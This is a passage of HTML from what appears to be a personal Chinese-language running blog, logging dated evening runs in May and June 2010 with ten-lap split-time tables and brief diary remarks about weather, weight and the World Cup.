<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:56</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:37</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:18</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:00</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:46</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:32</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:17</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:54</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100621-22:25</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:07</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:47</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:30</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:12</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:55</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:40</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:28</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:12</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:44</td>
<td align="CENTER" valign="MIDDLE">00:00:32</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100622-22:25</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:20</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:02</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:45</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:27</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:09</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:52</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:34</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:17</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:59</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
</tbody>
</table>
<h3>20100615</h3>
<p>12号那天旭东生日，回来太晚，就没有跑了。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE"><strong>20100613-22:21</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:20</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:05</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:54</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:42</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:30</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:22</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:11</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:58</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:34</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100614-22:14</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:22</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:05</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:52</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:38</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:27</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:12</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:00</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:46</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:18</td>
<td align="CENTER" valign="MIDDLE">00:00:32</td>
</tr>
</tbody>
</table>
<h3>20100611</h3>
<p>别人在踢世界杯，我在校园独自跑。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE"><strong>20100610-22:28</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:19</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:05</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:49</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:55</td>
<td align="CENTER" valign="MIDDLE">00:01:06</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:21</td>
<td align="CENTER" valign="MIDDLE">00:00:26</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:07</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:54</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:43</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:12</td>
<td align="CENTER" valign="MIDDLE">00:00:29</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100611-22:21</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:23</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:11</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:00</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:47</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:37</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:25</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:15</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:07</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:40</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
</tbody>
</table>
<h3>20100609</h3>
<p>从今天开始，继续跑步！</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE"><strong>20100609-21:50</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:05</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:40</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:18</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:02:56</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:41</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:24</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:07</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:05:50</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:21</td>
<td align="CENTER" valign="MIDDLE">00:00:31</td>
</tr>
</tbody>
</table>
<h3>20100602</h3>
<p>发现最近越跑越慢，为何？</p>
<p>不过昨天称的体重<strong>74.5KG</strong>，把自己激动坏了。看来跑步的成效还是有的。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100531-22:27</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:31</td>
<td align="CENTER" valign="MIDDLE">00:00:31</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:07</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:48</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:32</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:15</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:02</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:48</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:33</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:15</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:50</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100601-22:20</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:16</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:00</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:44</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:28</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:15</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:02</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:51</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:37</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:11</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
</tr>
</tbody>
</table>
<h3>20100530</h3>
<p>跑步跑到一半，淅淅沥沥的下起雨来。接着便是泥土的味道。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100530-22:12</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:15</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:56</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:37</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:21</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:02</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:45</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:28</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:11</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:44</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
</tbody>
</table>
<h3>20100528</h3>
<p>昨天跑完步，一不小心把记录的数据给删除了。只知道昨天花了7分47秒跑完的。</p>
<p>不过今天终于又进7分内了，好久没有这样痛快的跑步了！</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100527-22:XX</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1~10</td>
<td align="CENTER" valign="MIDDLE">00:07:47</td>
<td align="CENTER" valign="MIDDLE">00:07:47</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100528-22:10</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:15</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:58</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:40</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
